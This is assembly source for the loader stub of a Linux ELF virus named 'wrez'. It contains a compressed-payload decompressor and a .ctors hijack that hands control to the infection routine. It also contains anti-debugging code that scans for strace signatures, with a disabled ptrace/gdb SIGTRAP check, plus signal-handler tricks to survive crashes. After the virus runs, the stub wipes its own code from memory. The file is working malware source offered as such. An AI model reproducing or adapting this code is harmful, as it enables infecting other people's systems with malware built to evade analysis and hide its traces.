1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
|
GLOBAL wrez_init
GLOBAL wrcfg
GLOBAL decompressor_start
GLOBAL decompressor_end
GLOBAL data_start
EXTERN wrez_main
EXTERN wrez_end
pusha_size equ 32
%include "wrezdefs.inc"
wrez_init:
; pushf ; XXX: activate only without polymorphism
; pusha
; XXX: this is a workaround to test whether to polymorphism
; engine worked properly. in wrcore.c we use a special
; instruction block (4* 0x90, nop) after the call to
; test whether it worked.
; DISABLED FOR NOW
; mov ebx, [esp + 0x20 + 4]
; mov edx, [ebx] ; instruction at retaddr
; cmp edx, 0x90909090
; jne dostub
; popa
; popf
; mov eax, 0x60504030
; ret
; XXX: align so that we do not overwrite parts of the wrcfg
; structure on final exit.
; times ((16) - $ + wrez_init) db 0x90
dostub: call decompressor_start
wrcfg:
wr_start:
dd wrez_init ; wr_start
decomp_len:
dd -1
wr_oldctors:
dd 0x41414141
elf_base:
dd 0x42424242
victim: db '/tmp/v'
times ((32+4) - $ + victim) db 0x0
; decompress_to = wr_start + cmprlen + (decompressor_end - wrez_init)
cmprlen: dd 0x41414141
llstuff: db 0x40
hl1stuff: dw 0x41
hl2stuff: db 0x42
hf2stuff: db 0x43
; ======================= real code start =========================
decompressor_start:
; get wrcfg structure
pop ebp
push ebp
; XXX: this code is needed for polymorphic instantiations and
; shellcode-like invocations. in either case, we cannot expect
; to have the proper address already there.
mov edi, ebp
sub edi, (wrcfg - wrez_init) ; virtual address of wrez_init
mov [ebp + (wr_start - wrcfg)], edi
; decompress_to = wr_start + cmprlen + (decompressor_end - wrez_init)
mov edi, [ebp + (wr_start - wrcfg)] ; wr_start
add edi, (decompressor_end - wrez_init)
mov esi, edi ; esi = compressed
add edi, [ebp + (cmprlen - wrcfg)] ; + cmprlen
push edi ; push edi for the final ret
push dword [ebp + (hf2stuff - wrcfg)]
push dword [ebp + (hl2stuff - wrcfg)]
push dword [ebp + (hl1stuff - wrcfg)]
push dword [ebp + (llstuff - wrcfg)]
pusha
xor ebx, ebx
xor ecx, ecx
xor ebp, ebp
xor eax, eax
cdq
; esi = compressed data
; edi = target buffer
main_loop:
eoff: cmp esi, [esp + pusha_size + 4 * 4] ; eof ?
jb noquit ; Yepp -> Return to 100h
popa
add esp, 4 * 4
ret ; return to target buffer
noquit: call get_bit ; Compressed/uncompressed data next?
jc compressed
; Handle uncompressed data
mov cl, 8 ; Uncompressed -> Get next 8 bits
cdq ; No fix-ups (clear edx)
call get_data ; Get byte
xchg eax, ebx ; Store the byte
stosb
;jmp is 5 bytes long, clc jnc is only 3, we win 2 bytes !
;jmp main_loop ; Loop
; TODO: use jump (2 bytes short)
jmp main_loop
; Handle compressed data
compressed:
ll: mov dl, byte [esp + pusha_size + 0] ; llstuff, Maximum number of bits in a row
bit_loop:
call get_bit ; Loop until CF = 0
jnc c_getpos
inc ecx ; Increase lenght
dec edx ; Max number of bits read?
jnz bit_loop ; Nope -> Keep reading
sub esp, 4
call get_huffman ; Yepp -> Get huffman-coded lenght
add esp, 4
mov ecx, ebx ; Lenght must be in cx
c_getpos:
jecxz lenght_1 ; Lenght 1? -> Do something else....
push ecx ; Save lengt
call get_huffman ; Get huffman-coded position
pop ecx ; Restore lenght
c_copy: push esi ; Save old source
mov esi, edi ; Calculate new source offset
sub esi, ebx
inc ecx ; Fix lenght
rep movsb ; Copy duplicate data
pop esi ; Restore source offset
jmp main_loop
lenght_1:
mov cl, 4 ; Get 4 bits of data for position
cdq ; Fix-up value
inc edx ; (dx = 1)
call get_data ; Get data
jmp c_copy
; Get one bit of data
; Returns:
; CF - Value of the bit
gb_next_byte:
lodsb ; Get one byte
mov ah, 1 ; Mark the end of data
xchg ebp, eax ; Move it to bp
get_bit:
shr ebp, 1 ; Get bit to CF
jz gb_next_byte ; No more bits left in dx?
ret
; Get huffman-coded number
; Returns:
; bx - The number
get_huffman:
mov cx, word [esp + pusha_size + 4 + 8] ; hl1stuff, Assume 3 bits for the number
cdq ; Fix-up value
inc edx ; (dx = 1)
call get_bit ; Get huffman bit
jnc get_data ; Was 0 -> Values were correct
mov cl, byte [esp + pusha_size + 8 + 8] ; hl2stuff
mov dl, byte [esp + pusha_size + 12 + 8] ; hf2stuff
; Get n bits of data
; Input:
; cx - Number of bits wanted
; dx - Fix-up value to be added to the result
; Returns:
; bx - The requested number
get_data:
xor ebx, ebx
gd_loop:
call get_bit ; Get bit
rcl ebx, 1 ; Store it
loop gd_loop ; Loop
add ebx, edx ; Fix the value
ret
decompressor_end:
data_start:
; ============= everything below this line is compressed ===============
rinit: ; &wrcfg is pushed on stack now
; find tracer signature on stack
xor eax, eax
mov ebx, 0x494a4b4c
mov ecx, ('cart' ^ 0x494a4b4c)
mov esi, esp
cld
trl0: lodsb
xor al, bl
cmp eax, ecx
jnz cont0
jmp wrez_escape ; escape virus
cont0:
; increase sliding seed
; ecx = ecx ^ (a ^ b)
; a = seed_old
; b = seed_new = (seed_old << 8) | ((seed_old & 0xff) + 1)
mov edx, ebx
shl ebx, 8
mov bl, bh
inc bl
xor edx, ebx
xor ecx, edx
shl eax, 8
; obfuscated compare with 0xc0000000
bsf edx, esi ; edx = 0x1e = 0001.1110b
ror edx, 0x5
jnc trl0
%if 0
; ok, most likely there is no [sl]trace running on us
; now check for gdb or any ptrace-using bugger
call pphdlr
mov [0xbffffffc], byte 0xff
int3 ; cause SIGTRAP
call aphdlr
cmp [0xbffffffc], byte 0x00
jne wrez_escape
; infection part
call rentry
jmp wrez_escape
aphdlr: push byte 0x0 ; SIG_DFL
jmp phdlr
pphdlr: call phdlr
; real SIGTRAP handler
shdlr: mov [0xbffffffc], byte 0x00
ret
phdlr: pop ecx
push byte 0x05
pop ebx ; signum = SIGTRAP
push byte 0x30
pop eax ; __NR_signal
int3
int 0x80 ; signal (SIGTRAP, shdlr);
ret
%endif
; install SIGSEGV and SIGILL handler
pop ebp ; &wrcfg
call psigillsegv
; signal handler itself
sigillsegv:
mov esi, esp
and esi, 0xfffffff0
spl0: lodsd
cmp eax, 'mark'
jne spl0
lodsd ; address of real panic handler
mov [esp + 64], eax
ret
psigillsegv:
pop ecx
push ecx
push byte 4
pop ebx ; signum = SIGILL
push byte 0x30
pop eax ; __NR_signal
int 0x80 ; signal (SIGTRAP, shdlr);
pop ecx
push byte 11
pop ebx
push byte 0x30
pop eax
int 0x80
pusha
push esp
call ppanic
; when signal is caught, it redirects execution here, so this is the
; panic handler
panic: mov esi, esp
and esi, 0xfffffff0
pl0: lodsd
cmp eax, 'mark'
jne pl0
lodsd
lodsd ; old stack pointer
mov esp, eax
popa
sub esp, 0x20 + 12 ; simulate as if we just return from rentry
push ebp
push 0x0 ; simulate return value of 0 of wrez_main
jmp wrez_cleanout
ppanic: push dword 'mark'
; signal handlers are installed now and the stack looks like this:
; <lower> .... 'mark' addr esp pusha-array .... <higher>
; where addr is the address to continue in case of panic
push ebp ; &wrcfg
call rentry
push eax ; save return value
wrez_cleanout:
; get rid of installed signal handlers
push byte 0x00
pop ecx
push byte 4
pop ebx
push byte 0x30
pop eax
int 0x80 ; signal (SIGILL, SIG_DFL);
push byte 0x00
pop ecx
push byte 11
pop ebx
push byte 0x30
pop eax
int 0x80 ; signal (SIGSEGV, SIG_DFL);
pop eax ; return value of wrez_main
; escape. either called on panic or when the virus code has been
; successfully executed destroy virus signature in memory
wrez_escape:
pop ebp ; pop wrcfg parameter given to rentry
; since we survived, lets pop stack guards
add esp, 12 + 0x20; 'mark', &panic, saved-esp and pusha array
mov ebx, [esp + 0x20 + 4] ; retaddr
mov edx, [ebx] ; instruction at retaddr
and edx, 0x00000700 ; get n: 83 c_n_ fc
shr edx, 8 - 2 ; >> 8, * 4
mov esi, esp
add esi, 0x20 - 4
sub esi, edx
mov edi, [esi] ; old .ctors, exact begin of virus
; FIXME: make a reliable way of either storing edx or edx +4, depending on
; the code that will be executed just after the ret below. see
; wrcore.c:700
mov edx, dword [ebp + (wr_oldctors - wrcfg)]
mov [esi], edx ; overwrite ctors walk register
; decide what to do with the virus, based on the return value of
; wrez_main:
; 0: erase virus from memory
; != 0: continue without erasing
or eax, eax
jz do_erase
; int3
popa
popf
ret
do_erase:
push edi ; point to return to with last 'ret'
; now compute the length to zero off
mov ecx, [ebp + (wr_start - wrcfg)]
sub ecx, edi ; ecx = length of poly-stub
add ecx, wrez_len - 5 ; 5 bytes instruction
add ecx, [ebp + (cmprlen - wrcfg)] ; + cmprlen
; store the zero'ing opcodes
cld
mov eax, 0x9d61aaf3
stosd
mov al, 0xc3 ; 'ret'
stosb
xor eax, eax ; overwrite with NUL (al = \x00)
ret
rentry: align 16,db 0x90 ; avoid non-executeable ld-generated alignment
; wrez_main starts directly at this place
|